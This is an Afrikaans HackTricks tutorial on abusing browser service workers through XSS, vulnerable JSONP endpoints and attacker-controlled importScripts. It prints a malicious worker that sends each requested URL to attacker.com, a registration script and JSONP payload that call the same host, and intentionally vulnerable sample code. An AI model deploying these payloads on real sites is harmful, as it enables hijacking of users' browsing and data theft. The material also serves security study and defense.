Misbruik van Dienswerkers

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.

{% endhint %}

Probeer Hard Sekuriteitsgroep

{% embed url="https://discord.gg/tryhardsecurity" %}

Basiese Inligting

'n dienswerker is 'n skrif wat deur jou blaaier in die agtergrond uitgevoer word, geskei van enige webblad, wat funksies moontlik maak wat nie 'n webblad of gebruikersinteraksie vereis nie, en dus aflyn en agtergrondverwerking vermoëns verbeter. Gedetailleerde inligting oor dienswerkers kan hier gevind word. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffer se interaksies met alle bladsye binne daardie domein.

Kontroleer vir Bestaande Dienswerkers

Bestaande dienswerkers kan in die Dienswerkers afdeling van die Toepassing oortjie in Ontwikkelaar Gereedskap nagegaan word. 'n Ander metode is om chrome://serviceworker-internals te besoek vir 'n meer gedetailleerde weergawe.

Drukkenigings

Drukkenigings toestemmings het 'n direkte impak op 'n dienswerker se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te wees. Omgekeerd, die toestaan van toestemmings verhoog sekuriteitsrisiko's deur die ontvangs en uitvoering van potensiële ontploffings moontlik te maak.

Aanval om 'n Dienswerker te Skep

Om hierdie kwesbaarheid te misbruik, moet jy vind:

'n Manier om arbitraire JS lêers na die bediener op te laai en 'n XSS om die dienswerker van die opgelaaide JS-lêer te laai
'n kwesbare JSONP versoek waar jy die uitset (met arbitraire JS kode) kan manipuleer en 'n XSS om die JSONP met 'n payload te laai wat 'n kwaadwillige dienswerker sal laai.

In die volgende voorbeeld gaan ek 'n kode aanbied om 'n nuwe dienswerker te registreer wat na die fetch gebeurtenis sal luister en elke opgevraagde URL na die aanvallers se bediener sal stuur (dit is die kode wat jy nodig het om te oplaai na die bediener of te laai via 'n kwesbare JSONP antwoord):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

En dit is die kode wat die werker sal registreer (die kode wat jy moet kan uitvoer deur 'n XSS te misbruik). In hierdie geval sal 'n GET versoek na die aanvallers bediener gestuur word wat kennis gee of die registrasie van die dienswerker suksesvol was of nie:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

In die geval van die misbruik van 'n kwesbare JSONP-eindpunt, moet jy die waarde binne var sw plaas. Byvoorbeeld:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing `importScripts` in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

This even bypasses CSP protections.

Example vulnerable code:

index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>

sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Met DOM Clobbering

Vir meer inligting oor wat DOM Clobbering is, kyk:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

As die URL/domein waar die SW gebruik maak van importScripts binne 'n HTML-element is, is dit moontlik om dit te verander via DOM Clobbering om die SW 'n skrip van jou eie domein te laat laai.

Vir 'n voorbeeld hiervan, kyk na die verwysingsskakel.